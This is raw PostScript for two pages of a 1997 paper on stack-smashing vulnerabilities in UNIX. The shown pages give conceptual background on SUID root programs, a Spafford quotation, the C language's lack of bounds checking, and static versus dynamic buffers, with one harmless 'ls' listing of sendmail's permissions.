0.200 0 (t)A 8.000 0 32 (o )W -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A (n)S 7.800 0 32 0.200 0 (t )D -0.400 0 (a)A 8.000 0 32 (n unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 8.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3250 M -0.161 0 (temporary, and necessary, use of privileged resources. As Eugene Spafford comments[6]:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3427 M -0.027 0 (\223\205Many UNIX programs need to run with superuser privileges. These)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3525 M 0.040 0 (programs are run as SUID )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F7) cvn 0.892 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F7_83) cvn F7 83 xF F7_83 Ji 2105 3525 M 0.160 0 (root)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2244 3525 M -0.081 0 ( programs, when the system boots, or as)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3623 M -0.071 0 (network servers. A single bug in any of these complicated programs can)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3721 M -0.056 0 (compromise the safety of your entire system. This characteristic is probably)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3819 M -0.009 0 (a design flaw, but it is basic to the design of UNIX, and it not likely to)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3917 M 0.183 0 (change.\224 [6],\(701\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4015 M -0.100 0 (E)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A -0.400 0 (a)A 0.200 0 (ti)A 15.000 0 32 (on o)W 15.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D -0.400 0 (\223)A -0.300 0 (f)A -0.400 0 (ea)A 0.200 0 (t)A (u)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S -0.400 0 (e)A 15.000 0 32 (d d)W -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A 15.000 0 32 (n )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (a)A -0.200 0 (w)A 15.400 0 32 -0.400 0 (\224 )D 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (iti)A -0.400 0 (ca)A 14.800 0 32 0.200 0 (l i)D 15.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S 17.000 0 32 -1.000 0 (g )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 16.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4192 M 0.144 0 (exploits.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 4370 M 0.029 0 (5. UNIX and the C programming language)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4575 M -0.100 0 (T)A (h)S 3.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m i)D 2.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (ca)A (b)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D 0.200 0 (li)A (nk)S -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 3.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3391 4575 M (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 5.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 4.000 0 32 (. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4752 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 23.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 22.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A (v)S 0.200 0 (l)A (op)S -0.400 0 (e)A 22.000 0 32 (d b)W 25.000 0 32 -3.000 0 (y )D -0.200 0 (D)A -0.400 0 (e)A (nn)S 0.200 0 (i)A 21.900 0 32 0.100 0 (s )D 0.300 0 (R)A 0.200 0 (it)A -0.400 0 (c)A (h)S 0.200 0 (i)A 23.400 0 32 -0.400 0 (e a)D 22.800 0 32 0.200 0 (t )D -0.200 0 (A)A -0.100 0 (T)A -0.800 0 (&)A 23.100 0 32 -0.100 0 (T )D -0.700 0 (B)A -0.400 0 (e)A 22.800 0 32 0.200 0 (ll )D -2.100 0 (L)A -0.400 0 (a)A (b)S 22.900 0 32 0.100 0 (s )D 0.200 0 (i)A 23.000 0 32 (n 1972, )W 22.700 0 32 0.300 0 (C )D -0.200 0 (w)A -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4929 M (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (e)A 8.000 0 32 (d )W 0.200 0 (t)A 8.000 0 32 (o )W -1.000 0 (g)A 0.200 0 (i)A (v)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 9.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 8.800 0 32 0.200 0 (m t)D (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (p)S -0.400 0 (ee)A 9.000 0 32 (d )W -0.400 0 (a)A 9.000 0 32 (nd )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A (b)S 0.200 0 (ilit)A 12.000 0 32 -3.000 0 (y )D (o)S 9.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 12.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5106 M -0.200 0 (A)A 2.800 0 32 0.200 0 (ll m)D (od)S -0.400 0 (e)A -0.300 0 (r)A 3.000 0 32 (n )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 3.000 0 32 (n )W 0.200 0 (i)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 2.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5283 M -0.161 0 (language, including system binaries and the kernel. )A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5460 M 0.600 0 (W)A (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t )D 8.700 0 32 0.300 0 (C )D -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A (n)S 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (it)A 13.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 10.000 0 32 (nd )W -0.400 0 (e)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S -0.400 0 (c)A -3.000 0 (y)A 10.000 0 32 (, )W 9.800 0 32 0.200 0 (it )D 0.100 0 (s)A -0.400 0 (ac)A -0.300 0 (r)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ce)A 9.900 0 32 0.100 0 (s )D 0.200 0 (i)A 10.000 0 32 (n )W 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 9.900 0 32 0.100 0 (s )D (o)S 10.300 0 32 -0.300 0 (f )D (d)S -0.400 0 (a)A 0.200 0 (t)A 10.400 0 32 -0.400 0 (a )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A 13.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5637 M -0.400 0 (ea)A 0.100 0 (s)A 9.400 0 32 -0.400 0 (e )D (o)S 9.300 0 32 -0.300 0 (f )D (u)S 0.100 0 (s)A -0.400 0 (e)A 9.000 0 32 (. )W -0.100 0 (T)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 9.000 0 32 (d )W 8.700 0 32 0.300 0 (C )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 8.800 0 32 0.200 0 (t )D -0.200 0 (UN)A -2.300 0 (I)A 10.200 0 32 -0.200 0 (X )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 9.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 10.000 0 32 (o bu)W -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A ; 586 1709 N M 6 6 rr : 0 0 0 sco O ; 586 1709 N M 6 6 rr : 0 0 0 sco O ; 592 1709 N M 3820 6 rr : 0 0 0 sco O ; 4412 1709 N M 6 6 rr : 0 0 0 sco O ; 4412 1709 N M 6 6 rr : 0 0 0 sco O ; 586 1715 N M 6 87 rr : 0 0 0 sco O ; 4412 1715 N M 6 87 rr : 0 0 0 sco O ; : 511 1709 3982 328 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 612 1802 M -0.200 0 (bash# ls -agl /usr/sbin/sendmail)A ; 586 1802 N M 6 71 rr : 0 0 0 sco O ; 4412 1802 N M 6 71 rr : 0 0 0 sco O ; : 511 1709 3982 328 rc 0 0 0 sco F5_67 Ji 612 1873 M -0.200 0 (-r-sr-sr-x 1 root kmem 292686 Mar 11 21:51 /usr/sbin/sendmail)A ; 586 1873 N M 6 71 rr : 0 0 0 sco O ; 4412 1873 N M 6 71 rr : 0 0 0 sco O ; 586 2031 N M 6 6 rr : 0 0 0 sco O ; 586 2031 N M 6 6 rr : 0 0 0 sco O ; 592 2031 N M 3820 6 rr : 0 0 0 sco O ; 4412 2031 N M 6 6 rr : 0 0 0 sco O ; 4412 2031 N M 6 6 rr : 0 0 0 sco O ; 586 1944 N M 6 87 rr : 0 0 0 sco O ; 4412 1944 N M 6 87 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 9 ]%%) = %%PageTrailer %%Page: 10 10 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (10)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A 4.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (ea)A (k)S 0.100 0 (s)A 4.000 0 32 (. )W -0.200 0 (N)A (o)S 3.800 0 32 0.200 0 (t t)D 4.000 0 32 (o b)W 4.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A 3.900 0 32 0.100 0 (s )D -0.400 0 (e)A -0.300 0 (rr)A (o)S -0.300 0 (r)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A 4.000 0 32 (n o)W 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 4.000 0 32 (, )W 0.300 0 (C)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (a)A 0.100 0 (ss)A (u)S 0.200 0 (m)A -0.400 0 (e)A 25.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 26.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A 26.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 25.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (pon)S 0.100 0 (s)A 0.200 0 (i)A (b)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 26.300 0 32 -0.300 0 (r )D (d)S -0.400 0 (a)A 0.200 0 (t)A 26.400 0 32 -0.400 0 (a )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A 26.000 0 32 (. )W -0.200 0 (O)A (n)S 27.400 0 32 -0.400 0 (ce a )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A 27.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 26.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 18.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (p)S 15.400 0 32 -0.400 0 (ace )D 0.200 0 (i)A 15.000 0 32 (n )W 0.300 0 (C)A 15.000 0 32 (, )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 15.400 0 32 -0.400 0 (e )D (do)S -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (no)S 0.200 0 (t)A (h)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 15.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 14.800 0 32 0.200 0 (t t)D (h)S 16.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 16.000 0 32 (d )W -0.400 0 (c)A (on)S 0.200 0 (t)A -0.400 0 (e)A (n)S 0.200 0 (t)A 15.900 0 32 0.100 0 (s )D (o)S 16.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.131 0 (variable fit into the allocated memory.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1212 M 6.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (n u)W 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 6.800 0 32 0.200 0 (m )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2345 1212 M (bu)S 0.200 0 (ff)A -0.400 0 (e)A 0.100 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2584 1212 M 7.000 0 32 ( )W -0.400 0 (a)A 7.000 0 32 (nd )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 2792 1212 M (a)S 0.100 0 (rr)A (a)S -0.400 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3014 1212 M 7.000 0 32 ( )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (ea)A (b)S 0.200 0 (l)A 10.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (hu)S 0.100 0 (s)A 7.000 0 32 (, )W 6.800 0 32 0.200 0 (it i)D 6.900 0 32 0.100 0 (s s)D -0.400 0 (a)A -0.300 0 (f)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M (d)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S 12.400 0 32 -0.400 0 (e a )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 11.900 0 32 0.100 0 (s )D 12.400 0 32 -0.400 0 (a c)D (on)S 0.200 0 (ti)A -1.000 0 (g)A (uou)S 11.900 0 32 0.100 0 (s )D (b)S 0.200 0 (l)A (o)S -0.400 0 (c)A 12.000 0 32 (k o)W 13.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.300 0 (\()A -0.400 0 (c)A (o)S -0.300 0 (r)A -0.400 0 (e)A 13.300 0 32 -0.300 0 (\) )D 0.200 0 (t)A (h)S -0.400 0 (a)A 12.800 0 32 0.200 0 (t )D (ho)S 0.200 0 (l)A (d)S 12.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A 13.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (n)S -0.400 0 (ce)A 12.900 0 32 0.100 0 (s )D (o)S 13.300 0 32 -0.300 0 (f )D -0.400 0 (a)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 0.200 0 (ti)A -0.400 0 (ca)A 5.800 0 32 0.200 0 (l )D (d)S -0.400 0 (a)A 0.200 0 (t)A 6.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -3.000 0 (y)A (p)S -0.400 0 (e)A 6.000 0 32 (. )W -0.200 0 (A)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W -0.400 0 (a)A 5.800 0 32 0.200 0 (ll )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D 0.200 0 (i)A 6.000 0 32 (n )W 0.300 0 (C)A 6.000 0 32 (, bu)W -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (ec)A 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A 6.000 0 32 (d d)W -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 6.400 0 32 -0.400 0 (c )D (o)S 6.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A -0.400 0 (c)A 7.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A -0.400 0 (c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M (bu)S -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 7.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 8.000 0 32 (h )W -0.400 0 (a)A -0.300 0 (r)A 8.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (itl)A 12.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S -0.400 0 (e)A 9.000 0 32 (d )W 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 9.400 0 32 -0.400 0 (ce c)D (od)S 9.400 0 32 -0.400 0 (e a)D 9.000 0 32 (nd )W -0.400 0 (a)A -0.300 0 (r)A 9.400 0 32 -0.400 0 (e a)D 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 9.000 0 32 (d )W -0.400 0 (a)A 8.800 0 32 0.200 0 (t l)D (o)S -0.400 0 (a)A 9.000 0 32 (d )W 0.200 0 (tim)A 9.400 0 32 -0.400 0 (e )D 9.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M (d)S -0.400 0 (a)A 0.200 0 (t)A 13.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 12.800 0 32 0.200 0 (t i)D 13.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 13.000 0 32 (. )W -0.200 0 (D)A -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 13.400 0 32 -0.400 0 (c a)D -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 12.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 13.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S -0.400 0 (e)A 13.000 0 32 (d v)W 0.200 0 (i)A 13.400 0 32 -0.400 0 (a )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 12.900 0 32 0.100 0 (s )D 0.200 0 (t)A 14.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 17.000 0 32 -3.000 0 (y )D 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A (on)S 13.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M 0.100 0 (s)A (ou)S -0.300 0 (r)A 13.400 0 32 -0.400 0 (ce c)D (od)S 13.400 0 32 -0.400 0 (e a)D 13.000 0 32 (nd )W -0.400 0 (a)A -0.300 0 (r)A 14.400 0 32 -0.400 0 (e a)D 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d )W -0.400 0 (a)A 13.800 0 32 0.200 0 (t )D -0.300 0 (r)A 14.000 0 32 (un )W 0.200 0 (tim)A 14.400 0 32 -0.400 0 (e )D 14.000 0 32 (on )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k. )W -0.200 0 (D)A (u)S 14.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 14.000 0 32 (o )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D (obv)S 0.200 0 (i)A (ou)S 13.900 0 32 0.100 0 (s )D 0.200 0 (limit)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 13.900 0 32 0.100 0 (s )D (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 3.400 0 32 -0.400 0 (c a)D -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 0.100 0 (s)A 4.000 0 32 (, d)W -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 4.400 0 32 -0.400 0 (c a)D 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 4.000 0 32 (on )W 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A 4.000 0 32 (hod u)W 0.100 0 (s)A -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (i)A 4.000 0 32 (n )W -0.400 0 (a)A 3.800 0 32 0.200 0 (ll m)D -0.400 0 (a)A 0.200 0 (j)A 